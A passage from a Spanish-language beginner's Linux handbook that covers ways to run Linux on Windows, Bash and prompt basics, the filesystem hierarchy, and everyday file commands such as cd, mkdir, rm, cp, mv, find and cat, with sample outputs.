</code></pre><p>Esta es la salida:</p><figure class="kg-card kg-image-card"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719306131053/b7272031-ddb7-4e04-8d7b-bafc0911da04.png" class="kg-image" alt="Downloading progress of Ubuntu" width="1099" height="637" loading="lazy"></figure><p>Nota: Por defecto, Ubuntu será instalado.</p><figure class="kg-card kg-image-card"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719306144861/a01f95df-1d95-4b79-bff9-08759be0d3dc.png" class="kg-image" alt="Ubuntu installed by default using WSL" width="1092" height="626" loading="lazy"></figure><ul><li>Una vez que la instalación está completa, necesitarás reiniciar tu máquina WIndows. Así que, reinicia tu máquina con Windows.</li></ul><p>Después de reiniciar, verías una ventana así:</p><figure class="kg-card kg-image-card"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719306157704/15620fbe-59d1-40da-9cd6-119a1fab0802.png" class="kg-image" alt="Window that shows after a restart" width="1111" height="647" loading="lazy"></figure><p>Una vez que la instalación de Ubuntu está completa, se te pedirá que ingreses tu nombre de usuario y la constraseña.</p><figure class="kg-card kg-image-card"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719306167380/5e3058cd-b7a1-45b1-a16d-c23b5a451504.png" class="kg-image" alt="User prompted to enter a username and password" width="908" height="611" loading="lazy"></figure><p>Y, ¡y eso es todo! Estás listo ya para usar Ubuntu.</p><p>Lanza Ubuntu buscando desde el menú de inicio.</p><figure class="kg-card kg-image-card"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719306185110/77c17856-08ac-4ec7-9380-5b06f93be095.png" class="kg-image" alt="Launching Ubuntu from the start menu" width="966" height="846" loading="lazy"></figure><p>Y aquí tenemos tu instancia de Ubuntu lanzada.</p><figure class="kg-card kg-image-card"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719306196320/13be3a71-5b40-440c-a6bf-d742e5b5934b.png" class="kg-image" alt="Successful installation of Ubuntu using WSL" width="1103" height="639" loading="lazy"></figure><p><strong>Opción 3: Usa a Máquina Virtual (VM)</strong></p><p>Una máquina virtual (VM) es una emulación de software de un sistema de computación de Física. Te permite ejeuctar múltiples Sistemas Operativos y aplicaciones en una sola máquina física simultáneamente.</p><p>Puedes usar la Virtualización de Software tales como VirtualBox de Oracle o VMware para crear una máquina virtual que ejecuta Linux dentro de tu entorno de Windows. Esto te permite ejecutar Linux como un SIstema Operativo invitado junto a Windows.</p><p>El software VM provee opciones para asignar y gestionar los recursos hardware para cada VM, incluyendo núcles de CPU, memoria, espacio de disco, y ancho de banda de red. Puedes ajustar estas asignaciones basado en los requerimientos de los Sistemas Operativos invitados y las aplicaciones.</p><p>Aquí hay algunas de las opciones comúnes disponibles para la Virtualización:</p><ul><li><a href="https://www.virtualbox.org/">Oracle virtual box</a></li><li><a href="https://multipass.run/">Multipass</a></li><li><a href="https://www.vmware.com/content/vmware/vmware-published-sites/us/products/workstation-player.html.html">VMware workstation player</a></li></ul><p><strong>Opción 4: Usa una Solución basado en el Navegador</strong></p><p>Las soluciones basados en el Navegador son particularmente útiles para pruebas rápidas, aprender, o acceder a entornos de Linux desde dispositivos que no tienen Linux instalado.</p><p>Puedes usar los editores de código en líne o terminales basadas en web para acceder a Linux. Fíjate que usualmente no tienes privilegios de administrador en estos casos.</p><h4 id="editores-de-c-digo-en-l-nea"><strong>Editores de Código en línea</strong></h4><p>Los Editores de Código en línea con terminales de Linux incorporadas. Mientras que su propósito primario es codificar, también puedes utilizar la terminal de Linux para ejecutar comandos y realizar tareas.</p><p><a href="https://replit.com/">Replit</a> es un ejemplo de un editor de código en línea, donde puedes escribir tu código y acceder a la shell de Linux al mismo tiempo.</p><figure class="kg-card kg-image-card"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719306257260/d85d5541-b78f-4c8b-99a8-dbd8c097f661.gif" class="kg-image" alt="Running scripts and a bash shell in Replit" width="1520" height="721" loading="lazy"></figure><h4 id="terminales-de-linux-basados-en-web"><strong>Terminales de Linux basados en Web</strong></h4><p>Las terminales de Linux en línea te permiten acceder a una interfaz de línea de comandos desde tu navegador. Estas terminalesproveen una interfaz basada en web a un shell de Linux, permitiéndote ejecutar comandos y trabajar con utilidades de Linux.</p><p>Un ejemploes <a href="https://jslinux.org/">JSLinux</a>. La captura de abajo muestra un entorno de Linux listo para ser usado:</p><figure class="kg-card kg-image-card"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719306276915/ddaabfc3-9a20-43b2-bedc-0af6875d2008.png" class="kg-image" alt="Using JSLinux to access Linux terminal" width="826" height="765" loading="lazy"></figure><p><strong>Opción 5: Usa una Solución basada en la Nube</strong></p><p>En vez de ejecutar Linux directamente en tu máquina de Windows, puedes considerar usar entornos de Linux basados en la nube o Servidores Privados Virtuales (VPS), para acceder y trabajar con Linux remotamente.</p><p>Servicios como Amazon EC2, Microsoft Azure, o DigitalOcean proveen instancias de Linux a las que te puedes conectar desde tu computadora de Windows. Fíjate que algunos de estos servicios ofrecen planes gratuitos, pero no son usualmente gratis a la larga.</p><!--kg-card-begin: html--><h2 id="parte-2-introduccion-bash">Parte 2: Introducción al Shell de Bash y Comandos de Sistema</h2><!--kg-card-end: html--><!--kg-card-begin: html--><h3 id="comenzando-bash">2.1. Comenzando con el shell de Bash</h3><!--kg-card-end: html--><h4 id="introducci-n-al-shell-de-bash">Introducción al shell de bash</h4><p>La línea de comandos de Linux es provisto por un programa llamado el shell. A través de los años, el programa shell ha evolucinado para atender varias opciones.</p><p>Distintos usuarios pueden ser configurados para usar distintos shells. Pero, la mayoría de los usuarios prefieren quedarse con su shell predeterminado actual. El shell predeterminado para muchos distros de Linux es el Bourne-Again Shell de GNU (<code>bash</code>). Bash es sucedido por el shell Bourne (<code>sh</code>).</p><p>Para saber tu shell actual, abre tu terminal e ingresa el siguiente comando:</p><pre><code class="language-bash">echo $SHELL
</code></pre><p>Desglose del comando:</p><ul><li>El comando <code>echo</code> se usa para imprimir en la terminal.</li><li>El <code>$SHELL</code> es una variable especial que contiene el nombre del shell actual.</li></ul><p>En mi configuración, la salida es <code>/bin/bash</code>. Esto significa que estoy usando el shell bash.</p><pre><code class="language-bash"># output
echo $SHELL
/bin/bash
</code></pre><p>Bash es muy poderoso ya que puede simplificar ciertas operaciones que son difíciles de lograr eficientemente con un GUI (o Interfaz de Usuario Gráfico). Recuerda que la mayoría de los servidores no tienen un GUI, y es mejor aprender a usar los poderosos de una interfza de línea de comandos (CLI).</p><p><strong>Terminal vs Shell</strong></p><p>Los términos "terminal" y "shell" son frecuentemente usado de forma intercambiable, pero se refieren a distitnas partes de la interfaz de línea de comandos.</p><p>La terminal es la interfaz que usas para interactuar con el shell. El shell es el intérprete de comandos que procesa y ejecuta tus comandos. Aprenderás más sobre los shells en la Parte 6 del manual.</p><h4 id="-qu-es-un-prompt">¿Qué es un prompt?</h4><p>Cuando un shell se usa interactivamente, muestra un <code>$</code> cuando espera un comando del usuario. Este es el prompt del shell.</p><pre><code>[username@host ~]$
</code></pre><p>Si el shell se está ejecutando como <code>root</code> (aprenderás más sobre el usuario root luego), el prompt se cambia a <code>#</code>.</p><pre><code>[root@host ~]#
</code></pre><!--kg-card-begin: html--><h3 id="estructura-comando">2.2. Estructura del Comando</h3><!--kg-card-end: html--><p>Un comando es un programa que ejecuta una operación específica. Una vez que tienes acceso a la shell, puedes ingresar cualquier comando después del signo <code>$</code> y ves la salida en la terminal.</p><p>Generalmente, los comandos de Linux sigue esta sintaxis:</p><pre><code class="language-bash">command [options] [arguments]
</code></pre><p>Aquí está el desglose de la sintaxis de arriba:</p><ul><li><code>command</code>: Este es el nombre del comando que quieres ejecutar. <code>ls</code> (list - listar), <code>cp</code> (copy - copiar), y <code>rm</code> (remove - borrar) son comandos comúnes de Linux.</li><li><code>[options]</code>: Opciones, o flags, son precedidos frecuentemente por un guión (-) o doble guiones (--), modifican el comportamiento del comando. Pueden cambiar cómo opera el comando. Por ejemplo, <code>ls -a</code> usa la opción <code>-a</code> para mostrar los archivos ocultos en la carpeta actual.</li><li><code>[arguments]</code>: Los argumentos son las entradas para los comandos que uno requiere. Estos pueden ser nombres de archivos, nombres de usuario, u otros datos sobre los cuales el comando actuará. Por ejemplo, en el comando <code>cat access.log</code>, <code>cat</code> es el comando y <code>access.log</code> es la entrada. Como resultado, el comando <code>cat</code> muestra los contenidos del archivo <code>access.log</code>.</li></ul><p>Las opciones y argumentos no son requeridos por todos los comandos. Algunos comandos pueden ser ejecutados sin ninguna opción o argumento, mientras que otros podrían requerir uno o ambos para que funcionen correctamente. Siempre puedes referirte al manual del comando para ver las opciones y los argumentos que soporta.</p><p>💡<strong>Consejo:</strong> Puedes ver el manual de un comando usando el comando <code>man</code>.</p><p>Puedes acceder a la página manual para <code>ls</code> con <code>man ls</code>, y te mostrará algo así:</p><figure class="kg-card kg-image-card"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719312523336/5b1232a6-8c0b-4a97-86f0-9f15f2e14ed7.png" class="kg-image" alt="5b1232a6-8c0b-4a97-86f0-9f15f2e14ed7" width="1890" height="969" loading="lazy"></figure><p>Las páginas manuales son una forma genial y rápida para acceder a la documentación. Recomiendo leer las páginas de man para los comandos que mas usas.</p><!--kg-card-begin: html--><h3 id="comandos-bash-y-atajos">2.3. Comandos de Bash y Atajos de Teclado</h3><!--kg-card-end: html--><p>Cuando estás en la terminal, puedes acelerar tus tareas usando atajos.</p><p>Aquí hay algunos de los atajos más comunes de la terminal:</p><!--kg-card-begin: html--><table>
<thead>
<tr>
<th>Operación</th>
<th>Atajo</th>
</tr>
</thead>
<tbody>
<tr>
<td>Busca el comando previo</td>
<td>Flecha arriba</td>
</tr>
<tr>
<td>Salta al principio de la palabra previa</td>
<td>Ctrl+FlechaAbajo</td>
</tr>
<tr>
<td>Limpia los caracteres del cursor al final de la línea de comandos</td>
<td>Ctrl+K</td>
</tr>
<tr>
<td>Completa los comandos, nombres de archivo, y opciones</td>
<td>Presionando Tab</td>
</tr>
<tr>
<td>Salta al principio de la línea de comandos</td>
<td>Ctrl+A</td>
</tr>
<tr>
<td>Muestra la lista de comandos previos</td>
<td>history</td>
</tr>
</tbody>
</table><!--kg-card-end: html--><!--kg-card-begin: html--><h3 id="comando-whomai">2.4. Identificándote: El comando whoami</h3><!--kg-card-end: html--><p>Puedes obtener el nombre de usuario con el que iniciaste sesión con el comando <code>whoami</code>. Este comando es útil cuando cambias entre distintos usuarios y quieres confirmar el usuario actual.</p><p>Justo después del signo <code>$</code>, escribe <code>whoami</code> y presiona enter.</p><pre><code class="language-bash">whoami
</code></pre><p>Esta es la salida que obtuve.</p><pre><code class="language-bash">zaira@zaira-ThinkPad:~$ whoami
zaira
</code></pre><!--kg-card-begin: html--><h2 id="parte-3-entendiendo-sistema-linux">Parte 3: Entendiendo tu Sistema de Linux</h2><!--kg-card-end: html--><!--kg-card-begin: html--><h3 id="descubriendo-tu-so-y-especificaciones">3.1. Descubriendo tu SO y Especificaciones</h3><!--kg-card-end: html--><h4 id="imprimir-informaci-n-del-sistema-usando-el-comando-uname">Imprimir información del sistema usando el comando <code>uname</code></h4><p>Puedes obtener información del sistema de forma detallada del comando <code>uname</code>.</p><p>Cuando provees la opción <code>-a</code>, imprime toda la información del sistema.</p><pre><code class="language-bash">uname -a
# salida
Linux zaira 6.5.0-21-generic #21~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Feb  9 13:32:52 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
</code></pre><p>En la salida de arriba,</p><ul><li><code>Linux</code>: Indica el sistema operativo.</li><li><code>zaira</code>: Representa el nombre del host de la máquina.</li><li><code>6.5.0-21-generic #21~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Feb 9 13:32:52 UTC 2</code>: Provee información sobre la versión del kernel, fecha de la construcción, y algunos detalles adicionales.</li><li><code>x86_64 x86_64 x86_64</code>: Indica la arquitectura del sistema.</li><li><code>GNU/Linux</code>: Representa el tipo de sistema operativo.</li></ul><h4 id="encontrar-detalles-de-la-arquitectura-de-la-cpu-usando-el-comando-lscpu">Encontrar detalles de la arquitectura de la CPU usando el comando <code>lscpu</code></h4><p>El comando <code>lscpu</code> en Linux se usa para mostrar información sobre la arquitectura de la CPU. Cuando ejecutas <code>lscpu</code> en la terminal, provee detalles tales como:</p><ul><li>La arquitectura de la CPU (por ejemplo, x86_64)</li><li>op-mode(s) de la CPU (por ejemplo, 32-bit, 64-bit)</li><li>Orden de Byte (por ejemplo, Little Endian)</li><li>CPU(s) (número de CPUs), y así sucesivamente</li></ul><p>Intentémoslo:</p><pre><code class="language-bash">lscpu
# salida
Architecture:            x86_64
  CPU op-mode(s):        32-bit, 64-bit
  Address sizes:         48 bits physical, 48 bits virtual
  Byte Order:            Little Endian
CPU(s):                  12
  On-line CPU(s) list:   0-11
Vendor ID:               AuthenticAMD
  Model name:            AMD Ryzen 5 5500U with Radeon Graphics
    Thread(s) per core:  2
    Core(s) per socket:  6
    Socket(s):           1
    Stepping:            1
    CPU max MHz:         4056.0000
    CPU min MHz:         400.0000
</code></pre><p>Eso fue mucha información, ¡pero útil también! Recuerda que siempre puedes ir viendo información relevante usando argumentos específicos. Ve el manual del comando con <code>man lscpu</code>.</p><!--kg-card-begin: html--><h2 id="parte-4-manejando-archivos-desde-el-cli">Parte 4: Manejando archivos desde la Línea de Comandos</h2><!--kg-card-end: html--><!--kg-card-begin: html--><h3 id="la-jerarquia-del-sistema-archivos-linux">4.1. La Jerarquía del sistema de archivos de Linux</h3><!--kg-card-end: html--><p>Todos los archivos en Linux son almacenados en un sistema de archivos. Sigue una estructura tipo árbol invertido porque la raíz está en la parte superior.</p><p>El &nbsp;<code>/</code> es la carpeta raíz y el punto de comienzo del sistema de archivos. La carpeta raíz contiene todas las otras carpetas y archivos en el sistema. El caracter <code>/</code> también sirve como una carpeta separadora entre los nombres de rutas. Por ejemplo, <code>/home/alice</code> forma una ruta completa.</p><p>La imagen de abajo muestra la jerarquía completa del sistema de archivos. Cada carpeta sirve un propósito específico.</p><p>Fíjate que esta no es una lista exhaustiva y distintas distribuciones podría tener distintas configuraciones.</p><figure class="kg-card kg-image-card"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719322457140/02fdbf2c-f4fa-438b-af2f-c23f59f9ddf4.png" class="kg-image" alt="Linux file system hierarchy" width="1455" height="474" loading="lazy"></figure><p>Aquí hay una tabla que muestra el propósito de cada carpeta:</p><!--kg-card-begin: html--><table>
<thead>
<tr>
<th>Ubicación</th>
<th>Propósito</th>
</tr>
</thead>
<tbody>
<tr>
<td>/bin</td>
<td>Binarios de comandos esenciales</td>
</tr>
<tr>
<td>/boot</td>
<td>Archivos estáticos del cargador de arranque (boot loader), necesario para comenzar el proceso de incio.</td>
</tr>
<tr>
<td>/etc</td>
<td>Configuración de sistema específica del host</td>
</tr>
<tr>
<td>/home</td>
<td>Carpetas personales del usuario</td>
</tr>
<tr>
<td>/root</td>
<td>Carpeta personal para el usuario root administrativo</td>
</tr>
<tr>
<td>/lib</td>
<td>Librerías compartidas y módulos del kernel esenciales</td>
</tr>
<tr>
<td>/mnt</td>
<td>Punto de montaje para montar un sistema de archivos de forma temporal</td>
</tr>
<tr>
<td>/opt</td>
<td>Paquetes de software de aplicación complementarios</td>
</tr>
<tr>
<td>/usr</td>
<td>Software y librerías compartidas instalados</td>
</tr>
<tr>
<td>/var</td>
<td>Datos de variables que es también persistente entre los arranques</td>
</tr>
<tr>
<td>/tmp</td>
<td>Archivos temporarios que son accessibles a todos los usuarios</td>
</tr>
</tbody>
</table><!--kg-card-end: html--><p>💡 <strong>Consejo:</strong> Puedes aprender más sobre el sistema de archivos usando el comando <code>man hier</code>.</p><p>Puedes ver tu sistema de archivos usando el comando <code>tree -d -L 1</code>. Puedes modificar el argumento <code>-L</code> para cambiar la profundidad del árbol.</p><pre><code class="language-bash">tree -d -L 1
# salida
.
├── bin -&gt; usr/bin
├── boot
├── cdrom
├── data
├── dev
├── etc
├── home
├── lib -&gt; usr/lib
├── lib32 -&gt; usr/lib32
├── lib64 -&gt; usr/lib64
├── libx32 -&gt; usr/libx32
├── lost+found
├── media
├── mnt
├── opt
├── proc
├── root
├── run
├── sbin -&gt; usr/sbin
├── snap
├── srv
├── sys
├── tmp
├── usr
└── var

25 carpetas
</code></pre><p>Esta lista no es exhaustiva y distintas distribuciones y sistemas podrían ser configurados de forma distinta.</p><!--kg-card-begin: html--><h3 id="navegando-sistema-archivos-de-linux">4.2. Navegando el sistema de archivos de Linux</h3><!--kg-card-end: html--><h4 id="ruta-absoluta-vs-ruta-relativa">Ruta absoluta vs ruta relativa</h4><p>La ruta absoluta es la ruta completa de la carpeta raíz al archivo o a la carpeta. Siempre comienza con un <code>/</code>. Por ejemplo, <code>/home/john/documents</code>.</p><p>La ruta relativa, por otro lado, es la ruta desde la carpeta actual al archivo de destino o a la carpeta. No comienza con un <code>/</code>. Por ejemplo, <code>documents/work/project</code>.</p><h4 id="localizando-tu-carpeta-actual-usando-el-comando-pwd">Localizando tu carpeta actual usando el comando <code>pwd</code></h4><p>Es fácil perder tu camino en el sistema de archivos de Linux, especialmente si eres nuevo en la línea de comandos. Puedes localizar tu carpeta actual usando el comando <code>pwd</code>.</p><p>Aquí hay un ejemplo:</p><pre><code class="language-bash">pwd
# output
/home/zaira/scripts/python/free-mem.py
</code></pre><h4 id="cambiando-carpetas-usando-el-comando-cd">Cambiando carpetas usando el comando <code>cd</code></h4><p>El comando para cambiar carpetas es <code>cd</code> y significa "cambiar carpeta - change directory en inglés". Puedes usar el comando <code>cd</code> para navegar hacia otra carpeta diferente.</p><p>Puedes usar una ruta relativa o una ruta absoluta.</p><p>Por ejemplo, si quieres navegar la estructura de archivos de abajo (siguiendo las líneas rojas):</p><figure class="kg-card kg-image-card"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719389950079/640cce46-6c52-4f38-9787-581747fb9798.png" class="kg-image" alt="Example file structure" width="327" height="253" loading="lazy"></figure><p>y estás en "home", el comando sería así:</p><pre><code class="language-bash">cd home/bob/documents/work/project
</code></pre><p>Otros atajos de <code>cd</code> usado comúnmente son:</p><!--kg-card-begin: html--><table>
<thead>
<tr>
<th>Comando</th>
<th>Descripción</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>cd ..</code></td>
<td>Regresar una carpeta</td>
</tr>
<tr>
<td><code>cd ../..</code></td>
<td>Regresar dos carpetas</td>
</tr>
<tr>
<td><code>cd</code> o <code>cd ~</code></td>
<td>Regresar a la carpeta personal</td>
</tr>
<tr>
<td><code>cd -</code></td>
<td>Regresar a la ruta previa</td>
</tr>
</tbody>
</table><!--kg-card-end: html--><!--kg-card-begin: html--><h3 id="manejando-archivos-y-carpetas">4.3. Manejando archivos y carpetas</h3><!--kg-card-end: html--><p>Cuando se trabaja con archivos y carpetas, podrías querer copiar, mover, quitar, y crear archivos y carpetas nuevas. Aquí hay algunos comandos que te pueden ayudar con eso.</p><p>💡<strong>Consejo:</strong> Puedes diferenciar entre un archivo y una carpeta mirando la primera letra en la salida de <code>ls -l</code>. Un <code>'-'</code> representa un archivo y un <code>'d'</code> representa una carpeta.</p><figure class="kg-card kg-image-card"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719390306244/4f1688cd-ded5-43fe-b13a-9ca44ac7c4ad.png" class="kg-image" alt="&quot;d&quot; represents a folder" width="766" height="226" loading="lazy"></figure><h4 id="creando-nuevas-carpetas-usando-el-comando-mkdir">Creando nuevas carpetas usando el comando <code>mkdir</code></h4><p>Puedes crear una carpeta vacía usando el comando <code>mkdir</code>.</p><pre><code class="language-bash"># creates an empty directory named "foo" in the current folder
mkdir foo
</code></pre><p>También puedes crear carpetas recursivamente usando la opción <code>-p</code>.</p><pre><code class="language-bash">mkdir -p tools/index/helper-scripts
# output of tree
.
└── tools
    └── index
        └── helper-scripts

3 directories, 0 files
</code></pre><h4 id="creando-nuevos-archivos-usando-el-comando-touch">Creando nuevos archivos usando el comando <code>touch</code></h4><p>El comando <code>touch</code> crea un archivo vacío. Puedes usarlo así:</p><pre><code class="language-bash"># creates empty file "file.txt" in the current folder
touch file.txt
</code></pre><p>Los nombres del archivo pueden ser encadenados si quieres crear múltiples archivos en un solo comando.</p><pre><code class="language-bash"># creates empty files "file1.txt", "file2.txt", and "file3.txt" in the current folder

touch file1.txt file2.txt file3.txt
</code></pre><h4 id="eliminando-archivos-y-carpetas-usando-el-comando-rm-y-rmdir">Eliminando archivos y carpetas usando el comando <code>rm</code> y <code>rmdir</code></h4><p>Puedes usar el comando <code>rm</code> para eliminar ambos archivos y carpetas no vacías.</p><!--kg-card-begin: html--><table>
<thead>
<tr>
<th>Comando</th>
<th>Descripción</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>rm archivo.txt</code></td>
<td>Elimina el archivo <code>archivo.txt</code></td>
</tr>
<tr>
<td><code>rm -r dir</code></td>
<td>Elimina la carpeta <code>dir</code> y su contenido</td>
</tr>
<tr>
<td><code>rm -f archivo.txt</code></td>
<td>Elimina el archivo <code>archivo.txt</code> sin mostrar un mensaje de confirmación</td>
</tr>
<tr>
<td><code>rmdir</code> carpeta</td>
<td>Elimina una carpeta vacía</td>
</tr>
</tbody>
</table><!--kg-card-end: html--><p>🛑 Fíjate que deberías usar el argumento <code>-f</code> con cuidado ya que no te preguntará antes de eliminar un archivo. También, ten cuidado cuando ejecutas comandos <code>rm</code> en la carpeta <code>root</code> ya que podría resultar en eliminar archivos importantes de sistema.</p><h4 id="copiando-archivos-usando-el-comando-cp">Copiando archivos usando el comando <code>cp</code></h4><p>Para copiar archivos en Linux, usa el comando <code>cp</code>.</p><ul><li><strong>Sintaxis para copiar archivos:</strong><code>cp source_file destination_of_file</code></li></ul><p>Este comando copia un archivo llamado <code>file1.txt</code> a una nueva ubicación del archivo <code>/home/adam/logs</code>.</p><pre><code class="language-bash">cp file1.txt /home/adam/logs
</code></pre><p>El comando <code>cp</code> también crea una copia de un archivo con el nombre provisto.</p><p>Este comando copia un archivo llamado <code>file1.txt</code> a otro archivo llamado <code>file2.txt</code> en la misma carpeta.</p><pre><code class="language-bash">cp file1.txt file2.txt
</code></pre><h4 id="moviendo-y-renombrando-archivos-y-carpetas-usando-el-comando-mv">Moviendo y renombrando archivos y carpetas usando el comando <code>mv</code></h4><p>El comando <code>mv</code> se usa para mover archivos y carpetas de una carpeta a otra.</p><p><strong>Sintaxis para mover archivos: </strong><code>mv source_file destination_directory</code></p><p><strong>Ejemplo:</strong> Mover un archivo llamado <code>file1.txt</code> a una carpeta llamada <code>backup</code>:</p><pre><code class="language-bash">mv file1.txt backup/
</code></pre><p>Para mover una carpeta y sus contenidos:</p><pre><code class="language-bash">mv dir1/ backup/
</code></pre><p>Renombrando archivos y carpetas en Linux también se hace con el comando <code>mv</code>.</p><p><strong>Sintaxis para renombrar archivos: </strong><code>mv old_name new_name</code></p><p><strong>Ejemplo:</strong> Renombrar un archivo de <code>file1.txt</code> a <code>file2.txt</code>:</p><pre><code class="language-bash">mv file1.txt file2.txt
</code></pre><p>Renombrar una carpeta de <code>dir1</code> a <code>dir2</code>:</p><pre><code class="language-bash">mv dir1 dir2
</code></pre><!--kg-card-begin: html--><h3 id="localizando-archivos-y-carpetas">4.4. Localizando archivos y carpetas usando el comando find</h3><!--kg-card-end: html--><p>El comando <code>find</code> te permite buscar eficientemente archivos, carpetas, y un caracter y dispositivos de bloque.</p><p>Abajo está la sintaxis del comando <code>find</code>:</p><pre><code class="language-bash">find /path/ -type f -name file-to-search
</code></pre><p>Donde,</p><ul><li><code>/path</code> es la ruta donde el archivo se espera ser encontrado. Este es el punto de comienzo para buscar archivos. La ruta también pueder ser <code>/</code> o <code>.</code> el cual representa la raíz y la carpeta actual, respectivamente.</li><li><code>-type</code> representa los descriptores del archivo. Pueden ser cualquiera de lo de abajo: <code>f</code> – <strong>Archivo regular</strong> tales como archivos de texto, imágenes, y archivos ocultos. <code>d</code> – <strong>Carpeta</strong>. Estosson las carpetas bajo consideración. <code>l</code> – <strong>Enlace Simbólico</strong>. Los enlaces simbólicos apunta a archivos y son similares a atajos. <code>c</code> – <strong>Dispositivos de Caracteres</strong>. Archivos que se usan para acceder a dispositivos de carecteres se llaman archivos de dispositivo de caracter. Los drivers se comunican con dispositivos de caracteres enviando y recibiendo caracteres individuales (bytes, octetoss). Ejemplos incluyen teclados, tarjetas de sonido, y el ratón. <code>b</code> – <strong>Dispositivos de Bloque</strong>. Archivos que se usan para acceder a dispositivos de bloque se llaman archivos de dipositivos de bloque. Los drivers se comunican con dispositivos de bloque enviando y recibiendo bloques enteros de datos. Ejemplos incluyen USB y CD-ROM.</li><li><code>-name</code> es el nombre del tipo de archivo que quieres buscar.</li></ul><h4 id="c-mo-buscar-archivos-por-nombre-o-extensi-n">Cómo buscar archivos por nombre o extensión</h4><p>Supón que necesitamos encontrar archivos que contienen "style" en sus nombres. Usaremos este comando</p><pre><code class="language-bash">find . -type f -name "style*"
#output
./style.css
./styles.css
</code></pre><p>Ahora digamos que queremos encontrar archivos con una extensión particular como <code>.html</code>. Modificaremos el comando así:</p><pre><code class="language-bash">find . -type f -name "*.html"
# output
./services.html
./blob.html
./index.html
</code></pre><h4 id="c-mo-buscar-archivos-ocultos">Cómo buscar archivos ocultos</h4><p>Un punto al comienzo del nombre de archivo representa archivos ocultos. Son ocultos normalmente pero pueden ser vistos con <code>ls -a</code> en la carpeta actual.</p><p>Podemos modificar el comando <code>find</code> como se muestra abajo para buscar archivos ocultos:</p><pre><code class="language-bash">find . -type f -name ".*"
</code></pre><p><strong>Listar y encontrar archivos ocultos</strong></p><pre><code class="language-bash">ls -la
# contenido de las carpetas
total 5
drwxrwxr-x  2 zaira zaira 4096 Mar 26 14:17 .
drwxr-x--- 61 zaira zaira 4096 Mar 26 14:12 ..
-rw-rw-r--  1 zaira zaira    0 Mar 26 14:17 .bash_history
-rw-rw-r--  1 zaira zaira    0 Mar 26 14:17 .bash_logout
-rw-rw-r--  1 zaira zaira    0 Mar 26 14:17 .bashrc

find . -type f -name ".*"
# salida de find
./.bash_logout
./.bashrc
./.bash_history
</code></pre><p>Arriba puedes ver una lista de archivos ocultos en mi carpeta home.</p><h4 id="c-mo-buscar-archivos-log-y-archivos-de-configuraci-n">Cómo buscar archivos log y archivos de configuración</h4><p>Los archivos logs usualmente tienen la extensión <code>.log</code>, y podemos encontrarlos así:</p><pre><code class="language-bash"> find . -type f -name "*.log"
</code></pre><p>De forma similar, podemos buscar archivos de configuración de esta forma:</p><pre><code class="language-bash"> find . -type f -name "*.conf"
</code></pre><h4 id="c-mo-buscar-otros-archivos-por-tipo">Cómo buscar otros archivos por tipo</h4><p>Podemos buscarpor archivos de bloque de caracteres proveyendo <code>c</code> a <code>-type</code>:</p><pre><code class="language-bash">find / -type c
</code></pre><p>De forma similar, podemos encontrar archivos de bloque de dispositivos usando <code>b</code>:</p><pre><code class="language-bash">find / -type b
</code></pre><h4 id="c-mo-buscar-carpetas">Cómo buscar carpetas</h4><p>En el ejemplo de abajo, encontramos las carpetas usando el argumento <code>-type d</code>.</p><pre><code class="language-bash">ls -l
# lista el contenido de las carpetas
drwxrwxr-x 2 zaira zaira 4096 Mar 26 14:22 hosts
-rw-rw-r-- 1 zaira zaira    0 Mar 26 14:23 hosts.txt
drwxrwxr-x 2 zaira zaira 4096 Mar 26 14:22 images
drwxrwxr-x 2 zaira zaira 4096 Mar 26 14:23 style
drwxrwxr-x 2 zaira zaira 4096 Mar 26 14:22 webp 

find . -type d 
# salida de find mostrando carpetas
.
./webp
./images
./style
./hosts
</code></pre><h4 id="c-mo-buscar-archivos-por-tama-o">Cómo buscar archivos por tamaño</h4><p>Un uso increíblemente útil del comando <code>find</code> es listar archivos basados en un tamaño particular.</p><pre><code class="language-bash">find / -size +250M
</code></pre><p>Aquí, estamos listando archivos cuyos tamaños exceden los <code>250MB</code>.</p><p>Otras unidades incluyen:</p><ul><li><code>G</code>: GigaBytes.</li><li><code>M</code>: MegaBytes.</li><li><code>K</code>: KiloBytes</li><li><code>c</code> : bytes.</li></ul><p>Sólo reemplaza con la unidad relevante.</p><pre><code class="language-bash">find &lt;directory&gt; -type f -size +N&lt;Unit Type&gt;
</code></pre><h4 id="c-mo-buscar-archivos-por-tiempo-de-modificaci-n">Cómo buscar archivos por tiempo de modificación</h4><p>Usando el argumento <code>-mtime</code>, puedes filtrar archivos y carpetas basado en el tiempo de modificación.</p><pre><code class="language-bash">find /path -name "*.txt" -mtime -10
</code></pre><p>Por ejemplo,</p><ul><li><strong>-mtime +10</strong> significa que estás buscando un archivo que se modificó hace 10 días.</li><li><strong>-mtime -10</strong> significa menos de 10 días.</li><li><strong>-mtime 10</strong> si te salteas + o – significa exactamente 10 días.</li></ul><!--kg-card-begin: html--><h3 id="comandos-basicos-para-ver-archivos">4.5. Comandos Básicos para ver archivos</h3><!--kg-card-end: html--><h4 id="concatena-y-muestra-archivos-usando-el-comando-cat">Concatena y muestra archivos usando el comando <code>cat</code></h4><p>El comando <code>cat</code> en Linux se usa para mostrar los contenidos de un archivo. También puede ser usado para concatenar y crear nuevos archivos.</p><p>Aquí está la sintaxis básica del comando <code>cat</code>:</p><pre><code class="language-bash">cat [opciones] [archivo]
</code></pre><p>La forma más simple de usar <code>cat</code> es sin ninguna opción o argumento. Esto mostrará los contenidos del archivo en la terminal.</p><p>Por ejemplo, si quieres mostrar los contenidos de un archivo llamado <code>file.txt</code>, puedes usar el siguiente comando:</p><pre><code class="language-bash">cat file.txt
